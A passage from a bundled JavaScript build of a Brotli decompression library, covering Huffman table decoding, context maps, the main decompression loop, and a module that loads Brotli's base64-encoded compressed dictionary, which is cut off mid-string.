4517 old_repeat = repeat;
4518 if (repeat > 0) {
4519 repeat -= 2;
4520 repeat <<= extra_bits;
4521 }
4522 repeat += br.readBits(extra_bits) + 3;
4523 repeat_delta = repeat - old_repeat;
4524 if (symbol + repeat_delta > num_symbols) {
4525 throw new Error('[ReadHuffmanCodeLengths] symbol + repeat_delta > num_symbols');
4526 }
4527
4528 for (var x = 0; x < repeat_delta; x++)
4529 code_lengths[symbol + x] = repeat_code_len;
4530
4531 symbol += repeat_delta;
4532
4533 if (repeat_code_len !== 0) {
4534 space -= repeat_delta << (15 - repeat_code_len);
4535 }
4536 }
4537 }
4538 if (space !== 0) {
4539 throw new Error("[ReadHuffmanCodeLengths] space = " + space);
4540 }
4541
4542 for (; symbol < num_symbols; symbol++)
4543 code_lengths[symbol] = 0;
4544}
4545
4546function ReadHuffmanCode(alphabet_size, tables, table, br) {
4547 var table_size = 0;
4548 var simple_code_or_skip;
4549 var code_lengths = new Uint8Array(alphabet_size);
4550
4551 br.readMoreInput();
4552
4553 /* simple_code_or_skip is used as follows:
4554 1 for simple code;
4555 0 for no skipping, 2 skips 2 code lengths, 3 skips 3 code lengths */
4556 simple_code_or_skip = br.readBits(2);
4557 if (simple_code_or_skip === 1) {
4558 /* Read symbols, codes & code lengths directly. */
4559 var i;
4560 var max_bits_counter = alphabet_size - 1;
4561 var max_bits = 0;
4562 var symbols = new Int32Array(4);
4563 var num_symbols = br.readBits(2) + 1;
4564 while (max_bits_counter) {
4565 max_bits_counter >>= 1;
4566 ++max_bits;
4567 }
4568
4569 for (i = 0; i < num_symbols; ++i) {
4570 symbols[i] = br.readBits(max_bits) % alphabet_size;
4571 code_lengths[symbols[i]] = 2;
4572 }
4573 code_lengths[symbols[0]] = 1;
4574 switch (num_symbols) {
4575 case 1:
4576 break;
4577 case 3:
4578 if ((symbols[0] === symbols[1]) ||
4579 (symbols[0] === symbols[2]) ||
4580 (symbols[1] === symbols[2])) {
4581 throw new Error('[ReadHuffmanCode] invalid symbols');
4582 }
4583 break;
4584 case 2:
4585 if (symbols[0] === symbols[1]) {
4586 throw new Error('[ReadHuffmanCode] invalid symbols');
4587 }
4588
4589 code_lengths[symbols[1]] = 1;
4590 break;
4591 case 4:
4592 if ((symbols[0] === symbols[1]) ||
4593 (symbols[0] === symbols[2]) ||
4594 (symbols[0] === symbols[3]) ||
4595 (symbols[1] === symbols[2]) ||
4596 (symbols[1] === symbols[3]) ||
4597 (symbols[2] === symbols[3])) {
4598 throw new Error('[ReadHuffmanCode] invalid symbols');
4599 }
4600
4601 if (br.readBits(1)) {
4602 code_lengths[symbols[2]] = 3;
4603 code_lengths[symbols[3]] = 3;
4604 } else {
4605 code_lengths[symbols[0]] = 2;
4606 }
4607 break;
4608 }
4609 } else { /* Decode Huffman-coded code lengths. */
4610 var i;
4611 var code_length_code_lengths = new Uint8Array(CODE_LENGTH_CODES);
4612 var space = 32;
4613 var num_codes = 0;
4614 /* Static Huffman code for the code length code lengths */
4615 var huff = [
4616 new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2),
4617 new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 1),
4618 new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2),
4619 new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 5)
4620 ];
4621 for (i = simple_code_or_skip; i < CODE_LENGTH_CODES && space > 0; ++i) {
4622 var code_len_idx = kCodeLengthCodeOrder[i];
4623 var p = 0;
4624 var v;
4625 br.fillBitWindow();
4626 p += (br.val_ >>> br.bit_pos_) & 15;
4627 br.bit_pos_ += huff[p].bits;
4628 v = huff[p].value;
4629 code_length_code_lengths[code_len_idx] = v;
4630 if (v !== 0) {
4631 space -= (32 >> v);
4632 ++num_codes;
4633 }
4634 }
4635
4636 if (!(num_codes === 1 || space === 0))
4637 throw new Error('[ReadHuffmanCode] invalid num_codes or space');
4638
4639 ReadHuffmanCodeLengths(code_length_code_lengths, alphabet_size, code_lengths, br);
4640 }
4641
4642 table_size = BrotliBuildHuffmanTable(tables, table, HUFFMAN_TABLE_BITS, code_lengths, alphabet_size);
4643
4644 if (table_size === 0) {
4645 throw new Error("[ReadHuffmanCode] BuildHuffmanTable failed: ");
4646 }
4647
4648 return table_size;
4649}
4650
4651function ReadBlockLength(table, index, br) {
4652 var code;
4653 var nbits;
4654 code = ReadSymbol(table, index, br);
4655 nbits = Prefix.kBlockLengthPrefixCode[code].nbits;
4656 return Prefix.kBlockLengthPrefixCode[code].offset + br.readBits(nbits);
4657}
4658
4659function TranslateShortCodes(code, ringbuffer, index) {
4660 var val;
4661 if (code < NUM_DISTANCE_SHORT_CODES) {
4662 index += kDistanceShortCodeIndexOffset[code];
4663 index &= 3;
4664 val = ringbuffer[index] + kDistanceShortCodeValueOffset[code];
4665 } else {
4666 val = code - NUM_DISTANCE_SHORT_CODES + 1;
4667 }
4668 return val;
4669}
4670
4671function MoveToFront(v, index) {
4672 var value = v[index];
4673 var i = index;
4674 for (; i; --i) v[i] = v[i - 1];
4675 v[0] = value;
4676}
4677
4678function InverseMoveToFrontTransform(v, v_len) {
4679 var mtf = new Uint8Array(256);
4680 var i;
4681 for (i = 0; i < 256; ++i) {
4682 mtf[i] = i;
4683 }
4684 for (i = 0; i < v_len; ++i) {
4685 var index = v[i];
4686 v[i] = mtf[index];
4687 if (index) MoveToFront(mtf, index);
4688 }
4689}
4690
4691/* Contains a collection of huffman trees with the same alphabet size. */
4692function HuffmanTreeGroup(alphabet_size, num_htrees) {
4693 this.alphabet_size = alphabet_size;
4694 this.num_htrees = num_htrees;
4695 this.codes = new Array(num_htrees + num_htrees * kMaxHuffmanTableSize[(alphabet_size + 31) >>> 5]);
4696 this.htrees = new Uint32Array(num_htrees);
4697}
4698
4699HuffmanTreeGroup.prototype.decode = function(br) {
4700 var i;
4701 var table_size;
4702 var next = 0;
4703 for (i = 0; i < this.num_htrees; ++i) {
4704 this.htrees[i] = next;
4705 table_size = ReadHuffmanCode(this.alphabet_size, this.codes, next, br);
4706 next += table_size;
4707 }
4708};
4709
4710function DecodeContextMap(context_map_size, br) {
4711 var out = { num_htrees: null, context_map: null };
4712 var use_rle_for_zeros;
4713 var max_run_length_prefix = 0;
4714 var table;
4715 var i;
4716
4717 br.readMoreInput();
4718 var num_htrees = out.num_htrees = DecodeVarLenUint8(br) + 1;
4719
4720 var context_map = out.context_map = new Uint8Array(context_map_size);
4721 if (num_htrees <= 1) {
4722 return out;
4723 }
4724
4725 use_rle_for_zeros = br.readBits(1);
4726 if (use_rle_for_zeros) {
4727 max_run_length_prefix = br.readBits(4) + 1;
4728 }
4729
4730 table = [];
4731 for (i = 0; i < HUFFMAN_MAX_TABLE_SIZE; i++) {
4732 table[i] = new HuffmanCode(0, 0);
4733 }
4734
4735 ReadHuffmanCode(num_htrees + max_run_length_prefix, table, 0, br);
4736
4737 for (i = 0; i < context_map_size;) {
4738 var code;
4739
4740 br.readMoreInput();
4741 code = ReadSymbol(table, 0, br);
4742 if (code === 0) {
4743 context_map[i] = 0;
4744 ++i;
4745 } else if (code <= max_run_length_prefix) {
4746 var reps = 1 + (1 << code) + br.readBits(code);
4747 while (--reps) {
4748 if (i >= context_map_size) {
4749 throw new Error("[DecodeContextMap] i >= context_map_size");
4750 }
4751 context_map[i] = 0;
4752 ++i;
4753 }
4754 } else {
4755 context_map[i] = code - max_run_length_prefix;
4756 ++i;
4757 }
4758 }
4759 if (br.readBits(1)) {
4760 InverseMoveToFrontTransform(context_map, context_map_size);
4761 }
4762
4763 return out;
4764}
4765
4766function DecodeBlockType(max_block_type, trees, tree_type, block_types, ringbuffers, indexes, br) {
4767 var ringbuffer = tree_type * 2;
4768 var index = tree_type;
4769 var type_code = ReadSymbol(trees, tree_type * HUFFMAN_MAX_TABLE_SIZE, br);
4770 var block_type;
4771 if (type_code === 0) {
4772 block_type = ringbuffers[ringbuffer + (indexes[index] & 1)];
4773 } else if (type_code === 1) {
4774 block_type = ringbuffers[ringbuffer + ((indexes[index] - 1) & 1)] + 1;
4775 } else {
4776 block_type = type_code - 2;
4777 }
4778 if (block_type >= max_block_type) {
4779 block_type -= max_block_type;
4780 }
4781 block_types[tree_type] = block_type;
4782 ringbuffers[ringbuffer + (indexes[index] & 1)] = block_type;
4783 ++indexes[index];
4784}
4785
4786function CopyUncompressedBlockToOutput(output, len, pos, ringbuffer, ringbuffer_mask, br) {
4787 var rb_size = ringbuffer_mask + 1;
4788 var rb_pos = pos & ringbuffer_mask;
4789 var br_pos = br.pos_ & BrotliBitReader.IBUF_MASK;
4790 var nbytes;
4791
4792 /* For short lengths copy byte-by-byte */
4793 if (len < 8 || br.bit_pos_ + (len << 3) < br.bit_end_pos_) {
4794 while (len-- > 0) {
4795 br.readMoreInput();
4796 ringbuffer[rb_pos++] = br.readBits(8);
4797 if (rb_pos === rb_size) {
4798 output.write(ringbuffer, rb_size);
4799 rb_pos = 0;
4800 }
4801 }
4802 return;
4803 }
4804
4805 if (br.bit_end_pos_ < 32) {
4806 throw new Error('[CopyUncompressedBlockToOutput] br.bit_end_pos_ < 32');
4807 }
4808
4809 /* Copy remaining 0-4 bytes from br.val_ to ringbuffer. */
4810 while (br.bit_pos_ < 32) {
4811 ringbuffer[rb_pos] = (br.val_ >>> br.bit_pos_);
4812 br.bit_pos_ += 8;
4813 ++rb_pos;
4814 --len;
4815 }
4816
4817 /* Copy remaining bytes from br.buf_ to ringbuffer. */
4818 nbytes = (br.bit_end_pos_ - br.bit_pos_) >> 3;
4819 if (br_pos + nbytes > BrotliBitReader.IBUF_MASK) {
4820 var tail = BrotliBitReader.IBUF_MASK + 1 - br_pos;
4821 for (var x = 0; x < tail; x++)
4822 ringbuffer[rb_pos + x] = br.buf_[br_pos + x];
4823
4824 nbytes -= tail;
4825 rb_pos += tail;
4826 len -= tail;
4827 br_pos = 0;
4828 }
4829
4830 for (var x = 0; x < nbytes; x++)
4831 ringbuffer[rb_pos + x] = br.buf_[br_pos + x];
4832
4833 rb_pos += nbytes;
4834 len -= nbytes;
4835
4836 /* If we wrote past the logical end of the ringbuffer, copy the tail of the
4837 ringbuffer to its beginning and flush the ringbuffer to the output. */
4838 if (rb_pos >= rb_size) {
4839 output.write(ringbuffer, rb_size);
4840 rb_pos -= rb_size;
4841 for (var x = 0; x < rb_pos; x++)
4842 ringbuffer[x] = ringbuffer[rb_size + x];
4843 }
4844
4845 /* If we have more to copy than the remaining size of the ringbuffer, then we
4846 first fill the ringbuffer from the input and then flush the ringbuffer to
4847 the output */
4848 while (rb_pos + len >= rb_size) {
4849 nbytes = rb_size - rb_pos;
4850 if (br.input_.read(ringbuffer, rb_pos, nbytes) < nbytes) {
4851 throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');
4852 }
4853 output.write(ringbuffer, rb_size);
4854 len -= nbytes;
4855 rb_pos = 0;
4856 }
4857
4858 /* Copy straight from the input onto the ringbuffer. The ringbuffer will be
4859 flushed to the output at a later time. */
4860 if (br.input_.read(ringbuffer, rb_pos, len) < len) {
4861 throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');
4862 }
4863
4864 /* Restore the state of the bit reader. */
4865 br.reset();
4866}
4867
4868/* Advances the bit reader position to the next byte boundary and verifies
4869 that any skipped bits are set to zero. */
4870function JumpToByteBoundary(br) {
4871 var new_bit_pos = (br.bit_pos_ + 7) & ~7;
4872 var pad_bits = br.readBits(new_bit_pos - br.bit_pos_);
4873 return pad_bits == 0;
4874}
4875
4876function BrotliDecompressedSize(buffer) {
4877 var input = new BrotliInput(buffer);
4878 var br = new BrotliBitReader(input);
4879 DecodeWindowBits(br);
4880 var out = DecodeMetaBlockLength(br);
4881 return out.meta_block_length;
4882}
4883
4884exports.BrotliDecompressedSize = BrotliDecompressedSize;
4885
4886function BrotliDecompressBuffer(buffer, output_size) {
4887 var input = new BrotliInput(buffer);
4888
4889 if (output_size == null) {
4890 output_size = BrotliDecompressedSize(buffer);
4891 }
4892
4893 var output_buffer = new Uint8Array(output_size);
4894 var output = new BrotliOutput(output_buffer);
4895
4896 BrotliDecompress(input, output);
4897
4898 if (output.pos < output.buffer.length) {
4899 output.buffer = output.buffer.subarray(0, output.pos);
4900 }
4901
4902 return output.buffer;
4903}
4904
4905exports.BrotliDecompressBuffer = BrotliDecompressBuffer;
4906
4907function BrotliDecompress(input, output) {
4908 var i;
4909 var pos = 0;
4910 var input_end = 0;
4911 var window_bits = 0;
4912 var max_backward_distance;
4913 var max_distance = 0;
4914 var ringbuffer_size;
4915 var ringbuffer_mask;
4916 var ringbuffer;
4917 var ringbuffer_end;
4918 /* This ring buffer holds a few past copy distances that will be used by */
4919 /* some special distance codes. */
4920 var dist_rb = [ 16, 15, 11, 4 ];
4921 var dist_rb_idx = 0;
4922 /* The previous 2 bytes used for context. */
4923 var prev_byte1 = 0;
4924 var prev_byte2 = 0;
4925 var hgroup = [new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0), new HuffmanTreeGroup(0, 0)];
4926 var block_type_trees;
4927 var block_len_trees;
4928 var br;
4929
4930 /* We need the slack region for the following reasons:
4931 - always doing two 8-byte copies for fast backward copying
4932 - transforms
4933 - flushing the input ringbuffer when decoding uncompressed blocks */
4934 var kRingBufferWriteAheadSlack = 128 + BrotliBitReader.READ_SIZE;
4935
4936 br = new BrotliBitReader(input);
4937
4938 /* Decode window size. */
4939 window_bits = DecodeWindowBits(br);
4940 max_backward_distance = (1 << window_bits) - 16;
4941
4942 ringbuffer_size = 1 << window_bits;
4943 ringbuffer_mask = ringbuffer_size - 1;
4944 ringbuffer = new Uint8Array(ringbuffer_size + kRingBufferWriteAheadSlack + BrotliDictionary.maxDictionaryWordLength);
4945 ringbuffer_end = ringbuffer_size;
4946
4947 block_type_trees = [];
4948 block_len_trees = [];
4949 for (var x = 0; x < 3 * HUFFMAN_MAX_TABLE_SIZE; x++) {
4950 block_type_trees[x] = new HuffmanCode(0, 0);
4951 block_len_trees[x] = new HuffmanCode(0, 0);
4952 }
4953
4954 while (!input_end) {
4955 var meta_block_remaining_len = 0;
4956 var is_uncompressed;
4957 var block_length = [ 1 << 28, 1 << 28, 1 << 28 ];
4958 var block_type = [ 0 ];
4959 var num_block_types = [ 1, 1, 1 ];
4960 var block_type_rb = [ 0, 1, 0, 1, 0, 1 ];
4961 var block_type_rb_index = [ 0 ];
4962 var distance_postfix_bits;
4963 var num_direct_distance_codes;
4964 var distance_postfix_mask;
4965 var num_distance_codes;
4966 var context_map = null;
4967 var context_modes = null;
4968 var num_literal_htrees;
4969 var dist_context_map = null;
4970 var num_dist_htrees;
4971 var context_offset = 0;
4972 var context_map_slice = null;
4973 var literal_htree_index = 0;
4974 var dist_context_offset = 0;
4975 var dist_context_map_slice = null;
4976 var dist_htree_index = 0;
4977 var context_lookup_offset1 = 0;
4978 var context_lookup_offset2 = 0;
4979 var context_mode;
4980 var htree_command;
4981
4982 for (i = 0; i < 3; ++i) {
4983 hgroup[i].codes = null;
4984 hgroup[i].htrees = null;
4985 }
4986
4987 br.readMoreInput();
4988
4989 var _out = DecodeMetaBlockLength(br);
4990 meta_block_remaining_len = _out.meta_block_length;
4991 if (pos + meta_block_remaining_len > output.buffer.length) {
4992 /* We need to grow the output buffer to fit the additional data. */
4993 var tmp = new Uint8Array( pos + meta_block_remaining_len );
4994 tmp.set( output.buffer );
4995 output.buffer = tmp;
4996 }
4997 input_end = _out.input_end;
4998 is_uncompressed = _out.is_uncompressed;
4999
5000 if (_out.is_metadata) {
5001 JumpToByteBoundary(br);
5002
5003 for (; meta_block_remaining_len > 0; --meta_block_remaining_len) {
5004 br.readMoreInput();
5005 /* Read one byte and ignore it. */
5006 br.readBits(8);
5007 }
5008
5009 continue;
5010 }
5011
5012 if (meta_block_remaining_len === 0) {
5013 continue;
5014 }
5015
5016 if (is_uncompressed) {
5017 br.bit_pos_ = (br.bit_pos_ + 7) & ~7;
5018 CopyUncompressedBlockToOutput(output, meta_block_remaining_len, pos,
5019 ringbuffer, ringbuffer_mask, br);
5020 pos += meta_block_remaining_len;
5021 continue;
5022 }
5023
5024 for (i = 0; i < 3; ++i) {
5025 num_block_types[i] = DecodeVarLenUint8(br) + 1;
5026 if (num_block_types[i] >= 2) {
5027 ReadHuffmanCode(num_block_types[i] + 2, block_type_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
5028 ReadHuffmanCode(kNumBlockLengthCodes, block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
5029 block_length[i] = ReadBlockLength(block_len_trees, i * HUFFMAN_MAX_TABLE_SIZE, br);
5030 block_type_rb_index[i] = 1;
5031 }
5032 }
5033
5034 br.readMoreInput();
5035
5036 distance_postfix_bits = br.readBits(2);
5037 num_direct_distance_codes = NUM_DISTANCE_SHORT_CODES + (br.readBits(4) << distance_postfix_bits);
5038 distance_postfix_mask = (1 << distance_postfix_bits) - 1;
5039 num_distance_codes = (num_direct_distance_codes + (48 << distance_postfix_bits));
5040 context_modes = new Uint8Array(num_block_types[0]);
5041
5042 for (i = 0; i < num_block_types[0]; ++i) {
5043 br.readMoreInput();
5044 context_modes[i] = (br.readBits(2) << 1);
5045 }
5046
5047 var _o1 = DecodeContextMap(num_block_types[0] << kLiteralContextBits, br);
5048 num_literal_htrees = _o1.num_htrees;
5049 context_map = _o1.context_map;
5050
5051 var _o2 = DecodeContextMap(num_block_types[2] << kDistanceContextBits, br);
5052 num_dist_htrees = _o2.num_htrees;
5053 dist_context_map = _o2.context_map;
5054
5055 hgroup[0] = new HuffmanTreeGroup(kNumLiteralCodes, num_literal_htrees);
5056 hgroup[1] = new HuffmanTreeGroup(kNumInsertAndCopyCodes, num_block_types[1]);
5057 hgroup[2] = new HuffmanTreeGroup(num_distance_codes, num_dist_htrees);
5058
5059 for (i = 0; i < 3; ++i) {
5060 hgroup[i].decode(br);
5061 }
5062
5063 context_map_slice = 0;
5064 dist_context_map_slice = 0;
5065 context_mode = context_modes[block_type[0]];
5066 context_lookup_offset1 = Context.lookupOffsets[context_mode];
5067 context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
5068 htree_command = hgroup[1].htrees[0];
5069
5070 while (meta_block_remaining_len > 0) {
5071 var cmd_code;
5072 var range_idx;
5073 var insert_code;
5074 var copy_code;
5075 var insert_length;
5076 var copy_length;
5077 var distance_code;
5078 var distance;
5079 var context;
5080 var j;
5081 var copy_dst;
5082
5083 br.readMoreInput();
5084
5085 if (block_length[1] === 0) {
5086 DecodeBlockType(num_block_types[1],
5087 block_type_trees, 1, block_type, block_type_rb,
5088 block_type_rb_index, br);
5089 block_length[1] = ReadBlockLength(block_len_trees, HUFFMAN_MAX_TABLE_SIZE, br);
5090 htree_command = hgroup[1].htrees[block_type[1]];
5091 }
5092 --block_length[1];
5093 cmd_code = ReadSymbol(hgroup[1].codes, htree_command, br);
5094 range_idx = cmd_code >> 6;
5095 if (range_idx >= 2) {
5096 range_idx -= 2;
5097 distance_code = -1;
5098 } else {
5099 distance_code = 0;
5100 }
5101 insert_code = Prefix.kInsertRangeLut[range_idx] + ((cmd_code >> 3) & 7);
5102 copy_code = Prefix.kCopyRangeLut[range_idx] + (cmd_code & 7);
5103 insert_length = Prefix.kInsertLengthPrefixCode[insert_code].offset +
5104 br.readBits(Prefix.kInsertLengthPrefixCode[insert_code].nbits);
5105 copy_length = Prefix.kCopyLengthPrefixCode[copy_code].offset +
5106 br.readBits(Prefix.kCopyLengthPrefixCode[copy_code].nbits);
5107 prev_byte1 = ringbuffer[pos-1 & ringbuffer_mask];
5108 prev_byte2 = ringbuffer[pos-2 & ringbuffer_mask];
5109 for (j = 0; j < insert_length; ++j) {
5110 br.readMoreInput();
5111
5112 if (block_length[0] === 0) {
5113 DecodeBlockType(num_block_types[0],
5114 block_type_trees, 0, block_type, block_type_rb,
5115 block_type_rb_index, br);
5116 block_length[0] = ReadBlockLength(block_len_trees, 0, br);
5117 context_offset = block_type[0] << kLiteralContextBits;
5118 context_map_slice = context_offset;
5119 context_mode = context_modes[block_type[0]];
5120 context_lookup_offset1 = Context.lookupOffsets[context_mode];
5121 context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
5122 }
5123 context = (Context.lookup[context_lookup_offset1 + prev_byte1] |
5124 Context.lookup[context_lookup_offset2 + prev_byte2]);
5125 literal_htree_index = context_map[context_map_slice + context];
5126 --block_length[0];
5127 prev_byte2 = prev_byte1;
5128 prev_byte1 = ReadSymbol(hgroup[0].codes, hgroup[0].htrees[literal_htree_index], br);
5129 ringbuffer[pos & ringbuffer_mask] = prev_byte1;
5130 if ((pos & ringbuffer_mask) === ringbuffer_mask) {
5131 output.write(ringbuffer, ringbuffer_size);
5132 }
5133 ++pos;
5134 }
5135 meta_block_remaining_len -= insert_length;
5136 if (meta_block_remaining_len <= 0) break;
5137
5138 if (distance_code < 0) {
5139 var context;
5140
5141 br.readMoreInput();
5142 if (block_length[2] === 0) {
5143 DecodeBlockType(num_block_types[2],
5144 block_type_trees, 2, block_type, block_type_rb,
5145 block_type_rb_index, br);
5146 block_length[2] = ReadBlockLength(block_len_trees, 2 * HUFFMAN_MAX_TABLE_SIZE, br);
5147 dist_context_offset = block_type[2] << kDistanceContextBits;
5148 dist_context_map_slice = dist_context_offset;
5149 }
5150 --block_length[2];
5151 context = (copy_length > 4 ? 3 : copy_length - 2) & 0xff;
5152 dist_htree_index = dist_context_map[dist_context_map_slice + context];
5153 distance_code = ReadSymbol(hgroup[2].codes, hgroup[2].htrees[dist_htree_index], br);
5154 if (distance_code >= num_direct_distance_codes) {
5155 var nbits;
5156 var postfix;
5157 var offset;
5158 distance_code -= num_direct_distance_codes;
5159 postfix = distance_code & distance_postfix_mask;
5160 distance_code >>= distance_postfix_bits;
5161 nbits = (distance_code >> 1) + 1;
5162 offset = ((2 + (distance_code & 1)) << nbits) - 4;
5163 distance_code = num_direct_distance_codes +
5164 ((offset + br.readBits(nbits)) <<
5165 distance_postfix_bits) + postfix;
5166 }
5167 }
5168
5169 /* Convert the distance code to the actual distance by possibly looking */
5170 /* up past distnaces from the ringbuffer. */
5171 distance = TranslateShortCodes(distance_code, dist_rb, dist_rb_idx);
5172 if (distance < 0) {
5173 throw new Error('[BrotliDecompress] invalid distance');
5174 }
5175
5176 if (pos < max_backward_distance &&
5177 max_distance !== max_backward_distance) {
5178 max_distance = pos;
5179 } else {
5180 max_distance = max_backward_distance;
5181 }
5182
5183 copy_dst = pos & ringbuffer_mask;
5184
5185 if (distance > max_distance) {
5186 if (copy_length >= BrotliDictionary.minDictionaryWordLength &&
5187 copy_length <= BrotliDictionary.maxDictionaryWordLength) {
5188 var offset = BrotliDictionary.offsetsByLength[copy_length];
5189 var word_id = distance - max_distance - 1;
5190 var shift = BrotliDictionary.sizeBitsByLength[copy_length];
5191 var mask = (1 << shift) - 1;
5192 var word_idx = word_id & mask;
5193 var transform_idx = word_id >> shift;
5194 offset += word_idx * copy_length;
5195 if (transform_idx < Transform.kNumTransforms) {
5196 var len = Transform.transformDictionaryWord(ringbuffer, copy_dst, offset, copy_length, transform_idx);
5197 copy_dst += len;
5198 pos += len;
5199 meta_block_remaining_len -= len;
5200 if (copy_dst >= ringbuffer_end) {
5201 output.write(ringbuffer, ringbuffer_size);
5202
5203 for (var _x = 0; _x < (copy_dst - ringbuffer_end); _x++)
5204 ringbuffer[_x] = ringbuffer[ringbuffer_end + _x];
5205 }
5206 } else {
5207 throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
5208 " len: " + copy_length + " bytes left: " + meta_block_remaining_len);
5209 }
5210 } else {
5211 throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
5212 " len: " + copy_length + " bytes left: " + meta_block_remaining_len);
5213 }
5214 } else {
5215 if (distance_code > 0) {
5216 dist_rb[dist_rb_idx & 3] = distance;
5217 ++dist_rb_idx;
5218 }
5219
5220 if (copy_length > meta_block_remaining_len) {
5221 throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
5222 " len: " + copy_length + " bytes left: " + meta_block_remaining_len);
5223 }
5224
5225 for (j = 0; j < copy_length; ++j) {
5226 ringbuffer[pos & ringbuffer_mask] = ringbuffer[(pos - distance) & ringbuffer_mask];
5227 if ((pos & ringbuffer_mask) === ringbuffer_mask) {
5228 output.write(ringbuffer, ringbuffer_size);
5229 }
5230 ++pos;
5231 --meta_block_remaining_len;
5232 }
5233 }
5234
5235 /* When we get here, we must have inserted at least one literal and */
5236 /* made a copy of at least length two, therefore accessing the last 2 */
5237 /* bytes is valid. */
5238 prev_byte1 = ringbuffer[(pos - 1) & ringbuffer_mask];
5239 prev_byte2 = ringbuffer[(pos - 2) & ringbuffer_mask];
5240 }
5241
5242 /* Protect pos from overflow, wrap it around at every GB of input data */
5243 pos &= 0x3fffffff;
5244 }
5245
5246 output.write(ringbuffer, pos & ringbuffer_mask);
5247}
5248
5249exports.BrotliDecompress = BrotliDecompress;
5250
5251BrotliDictionary.init();
5252
5253},{"./bit_reader":1,"./context":2,"./dictionary":6,"./huffman":7,"./prefix":9,"./streams":10,"./transform":11}],4:[function(require,module,exports){
5254var base64 = require('base64-js');
5255//var fs = require('fs');
5256
5257/**
5258 * The normal dictionary-data.js is quite large, which makes it
5259 * unsuitable for browser usage. In order to make it smaller,
5260 * we read dictionary.bin, which is a compressed version of
5261 * the dictionary, and on initial load, Brotli decompresses
5262 * it's own dictionary. 😜
5263 */
5264exports.init = function() {
5265 var BrotliDecompressBuffer = require('./decode').BrotliDecompressBuffer;
5266 var compressed = base64.toByteArray(require('./dictionary.bin.js'));
5267 return BrotliDecompressBuffer(compressed);
5268};
5269
5270},{"./decode":3,"./dictionary.bin.js":5,"base64-js":8}],5:[function(require,module,exports){
5271module.exports="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